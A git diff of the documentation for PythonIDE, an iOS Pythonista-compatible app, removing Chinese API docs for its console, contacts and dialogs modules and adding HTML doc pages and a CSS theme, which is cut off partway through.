参数 | 类型 | 范围 | 说明 | -|------|------|------|------| -| `r` | float | 0.0–1.0 | 红色分量 | -| `g` | float | 0.0–1.0 | 绿色分量 | -| `b` | float | 0.0–1.0 | 蓝色分量 | - -无参数调用时重置为默认颜色。 - -```python -console.set_color(1, 0, 0) # 红色 -print('错误信息') -console.set_color(0, 0.8, 0) # 绿色 -print('成功信息') -console.set_color() # 重置 -``` - -### set_font() - -```python -console.set_font(name, size) # 设置字体 -console.set_font() # 重置 -``` - -设置控制台字体。iOS 上主要影响文字粗细(size > 16 显示粗体)。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `name` | str | 字体名称(信息性) | -| `size` | float | 字号;> 16 使用粗体 | - -### clear() - -```python -console.clear() -``` - -清空控制台输出。 - -### write_link() - -```python -console.write_link(title, url='', font=None) -``` - -在控制台输出一个可点击的超链接。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `title` | str | 链接显示文本 | -| `url` | str | 目标 URL | -| `font` | tuple | 可选 `(font_name, size)` 元组 | - -```python -console.write_link('打开 GitHub', 'https://github.com') -``` - ---- - -## 与其他模块组合使用 - -### console + keychain(安全存储 API Key) - -```python -import console -import keychain - -api_key = keychain.get_password('openai', 'api_key') -if not api_key: - api_key = console.input_alert('API Key', '请输入 OpenAI API Key') - keychain.set_password('openai', 'api_key', api_key) - -console.hud_alert('API Key 已就绪 ✓') -``` - -### console + sound(游戏提示) - -```python -import console -import sound - -try: - name = console.input_alert('玩家', '输入你的名字') - sound.play_effect('ui:click1') - console.hud_alert(f'欢迎, {name}!') -except KeyboardInterrupt: - pass -``` - ---- - -## 完整示例 - -### 交互式笔记本 - -```python -import console - -console.clear() -console.set_color(0.2, 0.6, 1.0) -print('=== 我的笔记本 ===') -console.set_color() - -notes = [] - -while True: - try: - choice = console.alert('操作', '', '添加笔记', '查看全部', '清空') - except KeyboardInterrupt: - break - - if choice == 1: - try: - note = console.input_alert('新笔记', '输入内容') - notes.append(note) - console.hud_alert(f'已添加(共 {len(notes)} 条)') - except KeyboardInterrupt: - pass - elif choice == 2: - if notes: - for i, n in enumerate(notes, 1): - console.set_color(0.8, 0.8, 0.2) - print(f'{i}. {n}') - console.set_color() - else: - console.hud_alert('暂无笔记') - elif choice == 3: - notes.clear() - console.clear() - console.hud_alert('已清空') - -console.hud_alert('退出笔记本') -``` diff --git a/docs/contact/index.html b/docs/contact/index.html new file mode 100644 index 0000000..413397e --- /dev/null +++ b/docs/contact/index.html @@ -0,0 +1,22 @@ + + + + + + + + + + + + 正在打开邀请支持 — PythonIDE + + +
+

PythonIDE

+

联系方式已移至支持中心。

+

正在打开邀请奖励与社区支持。如未自动跳转,请点击下方按钮。

+ +
+ + diff --git a/docs/contacts-module.md b/docs/contacts-module.md deleted file mode 100644 index cca6e63..0000000 --- a/docs/contacts-module.md +++ /dev/null @@ -1,724 +0,0 @@ -# contacts 模块 — iOS 通讯录、分组与系统联系人界面 - -面向 Pythonista `contacts` API 的兼容实现,用于在嵌入式 Python 环境中访问 iOS 通讯录、分组、容器,以及调用系统联系人选择器、详情页、编辑页、vCard 导入导出与变更历史。 - -底层通过主程序导出的 C 符号(`ctypes.CDLL(None)`)与 Swift `Contacts` / `ContactsUI` 层通信,在保留 `Person` / `Group` / `save()` / `revert()` 经典工作流的同时,补充了 Pythonista 原版没有的现代 iOS 能力。 - -实现文件:`pyboot/contacts.py`。 - ---- - -## 兼容性与边界 - -**已兼容的 Pythonista 风格能力:** - -- `Person` / `Group` -- `get_all_people()` / `get_person()` / `find()` -- `add_person()` / `remove_person()` -- `get_all_groups()` / `get_group()` / `add_group()` / `remove_group()` -- `save()` / `revert()` -- `localized_label()` - -**比 Pythonista 更强的增强能力:** - -- 容器(`Container`)访问 -- 系统联系人选择器和属性选择器 -- 系统联系人详情页 / 编辑页 / 新建页 -- `find_by_phone()` / `find_by_email()` -- vCard 导入导出 -- 通讯录 change history 增量变更历史 -- iOS 18+ limited contacts access 管理 - -**当前明确限制:** - -- `get_me()` 目前返回 `None`,`capabilities()['supports_me_card']` 为 `False` -- `note` 字段接口存在,但当前 `capabilities()['supports_notes']` 为 `False` -- `creation_date` / `modification_date` 当前通常为 `None` - ---- - -## 常量 - -### `PERSON = 0` - -个人联系人。 - -### `ORGANIZATION = 1` - -组织联系人。 - ---- - -## 权限与能力 - -### `authorization_status()` → `str` - -返回当前通讯录权限状态: - -- `'not_determined'` -- `'restricted'` -- `'denied'` -- `'authorized'` -- `'limited'`(仅 iOS 18+) - ---- - -### `capabilities()` → `dict` - -返回模块能力表。常见键包括: - -| 键 | 说明 | -|------|------| -| `authorization_status` | 当前权限状态字符串。 | -| `supports_groups` | 是否支持分组。 | -| `supports_containers` | 是否支持容器。 | -| `supports_vcards` | 是否支持 vCard 导入导出。 | -| `supports_change_history` | 是否支持通讯录变更历史。 | -| `supports_me_card` | 当前为 `False`。 | -| `supports_notes` | 当前为 `False`。 | -| `supports_contact_picker_without_authorization` | 无需整库授权即可弹系统联系人选择器。 | -| `supports_contact_property_picker` | 是否支持属性级选择器。 | -| `supports_contact_view_controller` | 是否支持系统联系人详情页。 | -| `supports_contact_editor` | 是否支持系统联系人编辑页。 | -| `supports_contact_creator` | 是否支持系统新建联系人页。 | -| `supports_limited_access` | iOS 18+ 时为 `True`。 | - ---- - -### `is_authorized()` → `bool` - -若当前状态可读取通讯录,返回 `True`。 - -在 iOS 18+ 上,`limited` 也会视为可读。 - ---- - -### `request_access()` → `bool` - -请求通讯录权限。 - -- 成功授权:返回 `True` -- 用户拒绝:返回 `False` - ---- - -### `localized_label(label)` → `str` - -将原生 label(例如 `_$!!$_`)本地化为系统展示字符串。 - ---- - -## 联系人读取与搜索 - -### `get_all_people(limit=0, offset=0, container=None)` → `list[Person]` - -读取联系人列表。 - -| 参数 | 说明 | -|------|------| -| `limit` | `0` 表示不限制。 | -| `offset` | 偏移量,用于分页。 | -| `container` | `Container` 对象、容器 `identifier`,或 `None`。 | - ---- - -### `get_person(person_or_id, include_image_data=False, include_vcard=False)` → `Person | None` - -按联系人引用读取单个联系人。 - -`person_or_id` 可为: - -- `Person` -- 兼容整数 `id` -- 原生字符串 `identifier` - -`include_image_data=True` 或 `include_vcard=True` 时,会在原生层一并取回附加数据。 - ---- - -### `get_me()` → `Person | None` - -当前实现返回 `None`。iOS 公共 Contacts API 未提供稳定的 My Card 读取能力。 - ---- - -### `find(name)` → `list[Person]` - -按姓名搜索联系人。 - -实现上会优先返回更接近 Pythonista 行为的前缀匹配结果;若没有前缀命中,则回退到系统搜索结果。 - ---- - -### `find_by_phone(phone)` → `list[Person]` - -按手机号搜索联系人。 - ---- - -### `find_by_email(email)` → `list[Person]` - -按邮箱地址搜索联系人。 - ---- - -## 写入事务 - -### `add_person(person=None)` → `Person` - -将联系人加入待保存队列。 - -- `person is None`:创建一个新的空联系人 -- 传入现有未保存 `Person`:直接加入事务 - ---- - -### `remove_person(person)` → `None` - -将联系人标记为待删除。 - -若该联系人本轮事务中刚创建但尚未 `save()`,则会直接从待保存队列移除。 - ---- - -### `save()` → `bool` - -提交当前所有待处理事务。 - -一次 `save()` 中会合并: - -- 新建联系人 -- 更新联系人 -- 删除联系人 -- 新建分组 -- 更新分组 -- 删除分组 -- 分组成员增删 - -支持在**同一轮 `save()`** 中: - -- 新建联系人 -- 新建分组 -- 再把这个新联系人加入这个新分组 - -提交成功返回 `True`。 - ---- - -### `revert()` → `None` - -丢弃所有未保存改动,并将已跟踪的 `Person` / `Group` 对象恢复到保存前快照。 - ---- - -## 分组与容器 - -### `get_all_groups(container=None)` → `list[Group]` - -读取所有分组。 - -`container` 可为: - -- `Container` -- 容器 `identifier` -- `None` - ---- - -### `get_group(group_or_id)` → `Group | None` - -按 `Group` / 兼容 `id` / 原生 `identifier` 读取单个分组。 - ---- - -### `add_group(group=None)` → `Group` - -新建分组或将分组加入待保存队列。 - -支持: - -- `add_group()` -- `add_group("客户")` -- `add_group(existing_group)` - ---- - -### `remove_group(group)` → `None` - -将分组标记为待删除。 - ---- - -### `get_all_containers()` → `list[Container]` - -读取所有容器,例如本地、iCloud、Exchange、CardDAV 等来源。 - ---- - -### `get_default_container()` → `Container | None` - -读取默认容器。 - ---- - -### `get_people_in_group(group)` → `list[Person]` - -读取某个分组下的所有联系人。 - ---- - -### `get_people_in_container(container)` → `list[Person]` - -读取某个容器下的联系人。 - ---- - -### `get_groups_in_container(container)` → `list[Group]` - -读取某个容器下的分组。 - ---- - -## 系统 UI 能力 - -### `pick_contact(multi=False)` → `Person | list[Person] | None` - -弹出系统联系人选择器。 - -| 行为 | 说明 | -|------|------| -| `multi=False` | 返回单个 `Person` 或 `None`。 | -| `multi=True` | 返回 `list[Person]`;取消时返回 `[]`。 | - -该选择器支持在没有整本通讯录读取权限时工作。 - ---- - -### `pick_contacts()` → `list[Person]` - -等价于 `pick_contact(multi=True)`。 - ---- - -### `pick_property(kind='phone', multi=False)` → `PropertySelection | list[PropertySelection] | None` - -弹出系统联系人属性选择器。 - -支持的 `kind`: - -- `'phone'` -- `'email'` -- `'address'` / `'postal'` -- `'url'` -- `'relation'` / `'related_name'` / `'related_names'` -- `'social'` / `'social_profile'` -- `'im'` / `'instant_message'` - -| 行为 | 说明 | -|------|------| -| `multi=False` | 返回单个 `PropertySelection` 或 `None`。 | -| `multi=True` | 返回 `list[PropertySelection]`;取消时返回 `[]`。 | - ---- - -### `show_person(person, allows_editing=True, allows_actions=True, displayed_property_keys=None, property_key=None, property_identifier=None, should_show_linked_contacts=False)` → `Person | None` - -打开系统联系人详情页。 - -可用于: - -- 展示联系人卡片 -- 高亮某个属性 -- 限制显示的属性字段 - -若传入的是尚未保存的新 `Person`,会自动走新建联系人流程。 - ---- - -### `edit_person(person, **kwargs)` → `Person | None` - -打开系统联系人编辑页。 - -常见可选参数: - -- `allows_actions=True` -- `displayed_property_keys=None` -- `should_show_linked_contacts=False` - -保存后返回更新后的 `Person`;取消时返回 `None`。 - ---- - -### `new_person(seed=None, container=None, group=None)` → `Person | None` - -打开系统新建联系人页。 - -| 参数 | 说明 | -|------|------| -| `seed` | `Person`、`dict` 或 `None`,用于预填字段。 | -| `container` | 指定目标容器。 | -| `group` | 指定新建后加入的分组。 | - ---- - -## vCard 与变更历史 - -### `export_vcards(people)` → `bytes | None` - -将联系人导出为 vCard 二进制数据。 - -`people` 中每一项可为: - -- `Person` -- 兼容整数 `id` -- 原生字符串 `identifier` - ---- - -### `import_vcards(data, container=None)` → `list[Person]` - -导入 vCard。 - -`data` 支持: - -- `bytes` -- `bytearray` -- 文件路径字符串 - -成功时返回导入后的 `Person` 列表。 - ---- - -### `get_change_history(token=None, include_group_changes=True, excluded_transaction_authors=None)` → `dict` - -读取通讯录变更历史。 - -返回结构: - -| 键 | 说明 | -|------|------| -| `events` | 变更事件数组。 | -| `token` | 下一次增量读取所需的二进制 token;无值时为 `None`。 | - -`token` 参数可传入: - -- 上次返回的 `bytes` -- Base64 字符串 - -常见事件类型: - -- `drop_everything` -- `add_contact` -- `update_contact` -- `delete_contact` -- `add_group` -- `update_group` -- `delete_group` -- `add_member_to_group` -- `remove_member_from_group` -- `add_subgroup_to_group` -- `remove_subgroup_from_group` - -可选参数: - -- `include_group_changes=True` -- `excluded_transaction_authors=['pythonide.contacts']` - ---- - -### `manage_limited_access()` → `list[str]` - -在 iOS 18+ 上打开 limited contacts access 管理界面,返回用户新选择的联系人 `identifier` 列表。 - -不支持的系统版本上会报错或无效,应先检查 `capabilities()['supports_limited_access']`。 - ---- - -## `Person` 类 - -`Person` 表示联系人对象。可直接读写字段,修改只会写入内存,需调用 `save()` 才会真正提交到系统通讯录。 - -### 标识与类型 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `id` | `int` | Pythonista 兼容别名。 | -| `identifier` | `str | None` | iOS 原生联系人标识。 | -| `kind` | `int` | `PERSON` 或 `ORGANIZATION`。 | -| `contact_type` | `str` | `'person'` 或 `'organization'`。 | -| `deleted` | `bool` | 是否已标记删除。 | - -### 姓名与组织字段 - -| 属性 | -|------| -| `prefix` | -| `first_name` | -| `middle_name` | -| `last_name` | -| `previous_last_name` | -| `suffix` | -| `nickname` | -| `organization` | -| `department` | -| `job_title` | -| `phonetic_first_name` | -| `phonetic_middle_name` | -| `phonetic_last_name` | -| `phonetic_organization` | -| `full_name` | - -`full_name` 为模块维护的展示名称;优先使用原生格式化结果。 - -### 多值字段格式 - -#### `phone` - -```python -[ - ('mobile', '13800138000'), - ('work', '010-12345678'), -] -``` - -#### `email` - -```python -[ - ('home', 'alice@example.com'), - ('work', 'alice@company.com'), -] -``` - -#### `address` - -```python -[ - ('home', { - 'street': '中山路 1 号', - 'city': '上海', - 'state': '上海', - 'zip': '200000', - 'country': '中国', - 'country_code': 'CN', - }) -] -``` - -#### `url` - -```python -[ - ('homepage', 'https://example.com') -] -``` - -#### `related_names` - -```python -[ - ('spouse', 'Alice'), - ('manager', 'Bob'), -] -``` - -#### `social_profile` - -```python -[ - ('social', { - 'service': 'Twitter', - 'username': 'alice', - 'user_identifier': '123456', - 'url': 'https://x.com/alice', - }) -] -``` - -#### `instant_message` - -```python -[ - ('qq', { - 'username': '12345678', - 'service': 'QQ', - }) -] -``` - -#### `dates` - -```python -[ - ('anniversary', { - 'year': 2024, - 'month': 10, - 'day': 1, - }) -] -``` - -### 日期字段 - -| 属性 | 说明 | -|------|------| -| `birthday` | `dict | None`,如 `{'year': 1990, 'month': 8, 'day': 12}` | -| `non_gregorian_birthday` | 非公历生日 `dict | None` | -| `dates` | 多值日期字段列表 | -| `creation_date` | 当前通常为 `None` | -| `modification_date` | 当前通常为 `None` | - -日期字典可能包含: - -- `era` -- `year` -- `month` -- `day` -- `hour` -- `minute` -- `second` -- `is_leap_month` -- `calendar_identifier` -- `time_zone` - -### 图片与 vCard - -| 属性 | 类型 | 说明 | -|------|------|------| -| `has_image` | `bool` | 是否有头像。 | -| `image_data_available` | `bool` | 当前是否可读取头像数据。 | -| `image_data` | `bytes | None` | 原图数据,懒加载,可写入。 | -| `thumbnail_image_data` | `bytes | None` | 缩略图数据,懒加载,只读。 | -| `vcard` | `bytes | None` | vCard 数据,懒加载,只读。 | - -### 其他字段 - -| 属性 | 说明 | -|------|------| -| `note` | 当前 capability 为关闭状态,不应依赖。 | - ---- - -## `Group` 类 - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `id` | `int` | Pythonista 兼容别名。 | -| `identifier` | `str | None` | iOS 原生分组标识。 | -| `name` | `str` | 分组名。 | -| `container_identifier` | `str | None` | 所属容器。 | - -### 方法 - -#### `members()` → `list[Person]` - -返回分组内联系人。 - -#### `add_member(person)` → `None` - -将联系人加入分组待保存队列。 - -#### `remove_member(person)` → `None` - -将联系人从分组移除;需要后续 `save()`。 - ---- - -## `Container` 类 - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `identifier` | `str` | 容器标识。 | -| `name` | `str` | 容器显示名。 | -| `type` | `str` | 容器类型,如 `local`、`exchange`、`carddav` 等。 | -| `is_default` | `bool` | 是否默认容器。 | - -### 方法 - -#### `people()` → `list[Person]` - -返回该容器下联系人。 - -#### `groups()` → `list[Group]` - -返回该容器下分组。 - ---- - -## `PropertySelection` 类 - -表示属性选择器返回的一条结果。 - -### 属性 - -| 属性 | 说明 | -|------|------| -| `contact` | 对应 `Person`,可能为 `None` | -| `contact_identifier` | 联系人 `identifier` | -| `property_identifier` | 属性标识 | -| `key` | 原生属性 key,例如电话、邮箱、地址 | -| `label` | 原始 label | -| `localized_label` | 本地化 label | -| `value` | 该属性的值 | - ---- - -## 完整示例 - -```python -import contacts - -print('能力表:', contacts.capabilities()) - -if not contacts.is_authorized(): - granted = contacts.request_access() - print('授权结果:', granted) - -people = contacts.get_all_people(limit=20) -print('联系人数量:', len(people)) - -for person in people[:3]: - print(person.full_name, person.phone) - -hits = contacts.find('张') -print('姓名搜索命中:', [p.full_name for p in hits[:5]]) - -phone_hits = contacts.find_by_phone('13800138000') -print('手机号命中:', [p.full_name for p in phone_hits]) - -group = contacts.add_group('测试客户') -person = contacts.add_person() -person.first_name = '测试' -person.last_name = '联系人' -person.phone = [('mobile', '13800138000')] -group.add_member(person) -contacts.save() - -print('新联系人 ID:', person.id, person.identifier) -print('新分组 ID:', group.id, group.identifier) - -vcf = contacts.export_vcards([person]) -print('vCard 字节数:', len(vcf or b'')) - -history = contacts.get_change_history() -print('change history events:', len(history['events'])) - -# 清理测试数据 -contacts.remove_person(person) -contacts.remove_group(group) -contacts.save() -``` - ---- - -## 建议用法 - -- 读整本通讯录前先检查 `authorization_status()` / `is_authorized()` -- 只想让用户选一个手机号或邮箱时,优先用 `pick_property()`,无需整库读取 -- 批量改动统一走 `save()`,不要每改一个字段就提交一次 -- 对头像、vCard 等大字段按需访问,避免无意义读取 -- 对 `note`、`get_me()`、`creation_date`、`modification_date` 等边界能力先看 `capabilities()` diff --git a/docs/dialogs-module.md b/docs/dialogs-module.md deleted file mode 100644 index e8040f8..0000000 --- a/docs/dialogs-module.md +++ /dev/null @@ -1,222 +0,0 @@ -# dialogs 模块 — 原生弹窗与表单 - -Pythonista 兼容的对话框模块,提供原生 iOS 弹窗交互。所有函数都是**阻塞式**的:调用后当前协程/线程会等待用户完成操作,再返回结果;若用户取消(例如点击「取消」或关闭弹窗),则抛出 `KeyboardInterrupt`,与 Pythonista 行为一致。 - -**导入方式:** - -```python -import dialogs -``` - ---- - -## 完整 API - -### `alert(title, message='', *button_titles, hide_cancel_button=False)` → `int` - -弹出确认类对话框,可配置多个操作按钮。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `title` | `str` | 对话框标题 | -| `message` | `str` | 正文说明,默认为空字符串 | -| `*button_titles` | `str` | 可变参数,各按钮的标题;未传入时等价于 `('OK',)` | -| `hide_cancel_button` | `bool` | 为 `True` 时,所有按钮均为普通样式(不强调取消语义);为 `False` 时按平台惯例区分主按钮与取消等 | - -**返回值:** 用户所点按钮的索引,**从 1 开始**(与 Pythonista 兼容)。例如第一个按钮为 `1`,第二个为 `2`。 - -**取消:** 用户取消或关闭对话框时抛出 `KeyboardInterrupt`。 - -**示例:** - -```python -if dialogs.alert('确认删除?', '此操作不可撤销', '删除', '取消') == 1: - do_delete() -``` - ---- - -### `input_alert(title, message='', placeholder='', secure=False, default_text='')` → `str` - -弹出单行文本输入对话框。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `title` | `str` | 标题 | -| `message` | `str` | 辅助说明 | -| `placeholder` | `str` | 输入框占位提示 | -| `secure` | `bool` | `True` 时使用密码样式输入(字符遮蔽) | -| `default_text` | `str` | 输入框初始内容 | - -**返回值:** 用户确认后输入的字符串。 - -**取消:** 抛出 `KeyboardInterrupt`。 - -**示例:** - -```python -name = dialogs.input_alert('请输入名字', placeholder='张三') -``` - ---- - -### `list_dialog(title, items, multiple=False)` → `str | list[str]` - -从字符串列表中让用户选择一项或多项。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `title` | `str` | 对话框标题 | -| `items` | `list` | 由字符串组成的选项列表 | -| `multiple` | `bool` | `False`:单选;`True`:多选 | - -**返回值:** - -- `multiple=False`:返回用户选中的**单个**字符串(`str`)。 -- `multiple=True`:返回用户选中的字符串**列表**(`list[str]`)。 - -**取消:** 抛出 `KeyboardInterrupt`。 - -**示例:** - -```python -color = dialogs.list_dialog('选择颜色', ['红', '绿', '蓝']) -``` - ---- - -### `form_dialog(title, fields)` → `dict` - -一次性展示多个字段的表单对话框,适合登录、设置等场景。 - -**`fields`:** 由字典组成的列表,每个字典描述一个字段: - -```python -{ - 'type': 'text' | 'password' | 'number' | 'email' | 'url' | 'switch', - 'key': 'field_key', # 出现在返回 dict 中的键名 - 'title': '字段标签', # 界面上的标签文案 - 'value': '默认值', # 可选,字段初始值 - 'placeholder': '占位符', # 可选,适用于文本类输入 -} -``` - -**字段类型说明:** - -| `type` | 含义 | 返回值类型 | -|--------|------|------------| -| `text` | 普通文本 | `str` | -| `password` | 密码(遮蔽) | `str` | -| `number` | 数字键盘 / 数值输入 | `str`(内容为数字字符串) | -| `email` | 邮箱键盘 | `str` | -| `url` | URL 键盘 | `str` | -| `switch` | 开关 | `bool` | - -**返回值:** `{key: value}` 字典,键为各字段的 `'key'`,值为上述类型。`switch` 为 `bool`,其余文本类字段为 `str`。 - -**取消:** 抛出 `KeyboardInterrupt`。 - -**示例:** - -```python -result = dialogs.form_dialog('登录', [ - {'type': 'text', 'key': 'user', 'title': '用户名'}, - {'type': 'password', 'key': 'pwd', 'title': '密码'}, - {'type': 'switch', 'key': 'remember', 'title': '记住密码', 'value': True}, -]) -``` - ---- - -### `date_dialog(title='选择日期', mode='date')` → `str` - -弹出系统日期/时间选择器。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `title` | `str` | 对话框标题,默认 `'选择日期'` | -| `mode` | `str` | `'date'`:仅日期;`'time'`:仅时间;`'datetime'`:日期与时间 | - -**返回值:** ISO 8601 格式字符串,例如 `'2025-03-01T12:00:00+08:00'`(具体时区与格式以实现为准,均为 ISO 8601 语义)。 - -**取消:** 抛出 `KeyboardInterrupt`。 - -**示例:** - -```python -dt = dialogs.date_dialog('选择生日', mode='date') -``` - ---- - -### `hud_alert(message, duration=1.0)` → `None` - -在界面上显示短暂的 HUD(轻提示),在指定秒数后自动消失,**无需用户点击确认**;实现上仍会经 RPC 与宿主同步,调用在提示展示流程结束后返回。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `message` | `str` | 提示文案 | -| `duration` | `float` | 显示时长(秒),默认 `1.0` | - -**返回值:** `None`。 - -**示例:** - -```python -dialogs.hud_alert('已保存!', duration=2.0) -``` - ---- - -## `editor` 兼容 stub - -`dialogs.editor` 提供与 Pythonista **`editor`** 模块名称对齐的占位接口,便于脚本在不修改导入路径的情况下运行;**不**连接真实编辑器状态。 - -**可用方法(均为 stub,与 Pythonista 行为不等价):** - -| 方法 | 说明 | -|------|------| -| `get_path()` | 返回空字符串 `""` | -| `get_text()` | 返回空字符串 `""` | -| `replace_text(start, end, replacement)` | 空操作(`None`) | -| `get_selection()` | 返回 `(0, 0)` | -| `set_selection(start, end=-1)` | 空操作 | -| `make_new_file(name='', text='')` | 空操作 | - -以上方法仅为**兼容性**保留,不应依赖其修改工程内文件或选区。 - ---- - -## 完整示例 - -下面示例依次演示输入框、列表、表单、日期与 HUD;统一用 `try` / `except KeyboardInterrupt` 处理用户取消: - -```python -import dialogs - -try: - name = dialogs.input_alert('欢迎', placeholder='你的名字') - color = dialogs.list_dialog('选择主题色', ['蓝色', '绿色', '红色', '紫色']) - info = dialogs.form_dialog('个人信息', [ - {'type': 'text', 'key': 'email', 'title': '邮箱', 'placeholder': 'xxx@example.com'}, - {'type': 'number', 'key': 'age', 'title': '年龄'}, - {'type': 'switch', 'key': 'agree', 'title': '同意协议', 'value': False}, - ]) - birthday = dialogs.date_dialog('选择生日') - dialogs.hud_alert(f'欢迎 {name}!') -except KeyboardInterrupt: - print('用户取消了操作') -``` - ---- - -## 注意事项 - -1. **阻塞:** 除 `hud_alert` 这类短时提示外,主要弹窗函数在显示期间会阻塞调用方,直到用户完成或取消。 -2. **取消与 `KeyboardInterrupt`:** 用户点击「取消」、系统取消或关闭弹窗时,应抛出 `KeyboardInterrupt`;脚本中请使用 `try` / `except` 做友好处理。 -3. **`alert` 索引:** 返回值为 **1-based** 按钮索引,与 Pythonista 一致,勿与 0-based 数组下标混淆。 -4. **`form_dialog` 类型:** `switch` 字段在结果字典中为 **`bool`**,其余声明的文本/数字类字段为 **`str`**(数字也以字符串形式给出时,请按需 `int()` / `float()` 转换)。 - ---- - -*本文档描述 `dialogs` 模块的公开 API 与约定行为;若与具体实现有差异,以实现代码为准。* diff --git a/docs/docs/404.html b/docs/docs/404.html new file mode 100644 index 0000000..d3e0693 --- /dev/null +++ b/docs/docs/404.html @@ -0,0 +1,302 @@ + + + + + + 未找到文档 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ 404 +

没有找到这个文档

+

返回文档首页,或使用搜索查找 API、模块和指南。

+
+
+ +
+ +
+
+ + + diff --git a/docs/docs/ai/index.html b/docs/docs/ai/index.html new file mode 100644 index 0000000..ac10a9f --- /dev/null +++ b/docs/docs/ai/index.html @@ -0,0 +1,15 @@ + + + + + + + + PythonIDE Agent 开发 + + + + +

此页面已迁移至 Agent 开发

+ + diff --git a/docs/docs/assets/brand-mark.svg b/docs/docs/assets/brand-mark.svg new file mode 100644 index 0000000..42e16d1 --- /dev/null +++ b/docs/docs/assets/brand-mark.svg @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/docs/docs/assets/docs-v2.css b/docs/docs/assets/docs-v2.css new file mode 100644 index 0000000..b1e1102 --- /dev/null +++ b/docs/docs/assets/docs-v2.css @@ -0,0 +1,962 @@ +:root { + color-scheme: light; + --orange: #e54b22; + --ink: #171717; + --pill: #111111; + --warm: #fff0eb; + --card-line: #efe6e1; + --cmd-bg: #faf7f5; + --bg: #f3f4f6; + --surface: #ffffff; + --surface-2: #f5f5f5; + --surface-3: #ececec; + --sidebar-bg: #fafafa; + --text: var(--ink); + --muted: #6b7280; + --muted-2: #9ca3af; + --line: rgba(17, 17, 17, .08); + --line-strong: rgba(17, 17, 17, .14); + --accent: var(--orange); + --accent-soft: var(--warm); + --code-bg: #f6f6f6; + --code-text: var(--ink); + --btn-copy-bg: var(--pill); + --btn-copy-fg: #ffffff; + --btn-copy-toast-bg: var(--pill); + --btn-copy-toast-fg: #ffffff; + --shadow: 0 1px 2px rgba(17, 17, 17, .04); + --shadow-card: 0 12px 36px rgba(17, 17, 17, .08); + --radius: 12px; + --radius-lg: 18px; + --radius-card: 22px; + --radius-pill: 999px; + --font-text: Inter, "Helvetica Neue", ui-sans-serif, -apple-system, BlinkMacSystemFont, "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", sans-serif; + --font-mono: "JetBrains Mono", "SF Mono", ui-monospace, Menlo, Consolas, monospace; + --ease: cubic-bezier(0.19, 1, 0.22, 1); + --sidebar-width: 252px; + --toc-width: 214px; + --topbar-height: 56px; +} +[data-theme="dark"] { + color-scheme: dark; + --bg: #141414; + --surface: #1b1b1b; + --surface-2: #242424; + --surface-3: #2e2e2e; + --sidebar-bg: #181818; + --text: #f5f5f5; + --muted: #a3a3a3; + --muted-2: #737373; + --line: rgba(255, 255, 255, .1); + --line-strong: rgba(255, 255, 255, .16); + --accent: #ff6b47; + --accent-soft: rgba(229, 75, 34, .16); + --card-line: rgba(255, 255, 255, .1); + --cmd-bg: #262626; + --code-bg: #262626; + --code-text: #f3f4f6; + --btn-copy-bg: #f5f5f5; + --btn-copy-fg: #171717; + --btn-copy-toast-bg: #f5f5f5; + --btn-copy-toast-fg: #171717; + --shadow: 0 1px 2px rgba(0, 0, 0, .22); + --shadow-card: 0 14px 40px rgba(0, 0, 0, .28); +} +* { box-sizing: border-box; } +html { scroll-behavior: smooth; } +html, +body, +.topbar, +.sidebar, +.toc, +.content, +.code-block, +.agent-install-panel, +.install-cmd, +.search-results, +.mobile-backdrop, +.icon-button, +.theme-toggle { + transition: + background-color .26s ease, + color .26s ease, + border-color .26s ease, + box-shadow .26s ease; +} +@media (prefers-reduced-motion: no-preference) { + ::view-transition-old(root), + ::view-transition-new(root) { + animation-duration: .32s; + animation-timing-function: ease; + } +} +body { + margin: 0; + background: var(--surface); + color: var(--text); + font: 14.5px/1.7 var(--font-text); + letter-spacing: 0; +} +a { color: var(--accent); text-decoration: none; } +a:hover { color: color-mix(in srgb, var(--accent) 84%, var(--text)); text-decoration: underline; } +.markdown-body a { + color: var(--accent); + font-weight: 600; + text-decoration: underline; + text-underline-offset: 2px; +} +.markdown-body a:hover { + color: color-mix(in srgb, var(--accent) 78%, var(--text)); + text-decoration: underline; +} +.topbar { + height: var(--topbar-height); + position: sticky; + top: 0; + z-index: 50; + display: flex; + align-items: center; + gap: 12px; + padding: 0 18px; + border-bottom: 1px solid var(--line); + background: color-mix(in srgb, var(--surface) 94%, transparent); + backdrop-filter: blur(12px); +} +a.brand { + display: inline-flex; + align-items: center; + gap: 9px; + color: var(--text); + font-weight: 760; + font-size: 20px; + letter-spacing: -.01em; + text-decoration: none; +} +a.brand:hover, +a.brand:focus-visible { + color: var(--text); + text-decoration: none; +} +.brand-mark { + width: 30px; + height: 30px; + display: block; + flex: 0 0 auto; + border: 0; + background: transparent; + transition: transform .18s ease, opacity .18s ease; +} +.brand:hover .brand-mark { transform: translateY(-1px) scale(1.03); } +.top-nav { + display: flex; + align-items: center; + gap: 4px; + margin-left: 38px; +} +.top-nav a { + color: var(--muted); + padding: 6px 12px; + border-radius: 999px; + font-size: 13px; + font-weight: 650; + text-decoration: none; + transition: background-color .16s ease, color .16s ease, transform .16s ease; +} +.top-nav a:hover, +.top-nav a:focus-visible { + background: transparent; + color: var(--text); + text-decoration: none; +} +.top-nav a.active { + background: transparent; + color: var(--accent); + font-weight: 700; + text-decoration: none; +} +.top-nav a:hover { transform: translateY(-1px); } +.search-trigger { + width: 100%; + height: 38px; + border: 1px solid var(--line); + border-radius: var(--radius-pill); + background: var(--surface-2); + color: var(--muted); + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 10px 0 12px; + font: inherit; + cursor: pointer; + box-shadow: var(--shadow); + transition: background-color .16s ease, border-color .16s ease, transform .16s ease; +} +.search-trigger:hover { + border-color: var(--line-strong); + transform: translateY(-1px); +} +kbd { + border: 1px solid var(--line-strong); + border-bottom-width: 2px; + border-radius: 6px; + padding: 1px 6px; + font-size: 11px; + color: var(--muted); + background: var(--surface); +} +.icon-button, .theme-toggle { + width: 36px; + 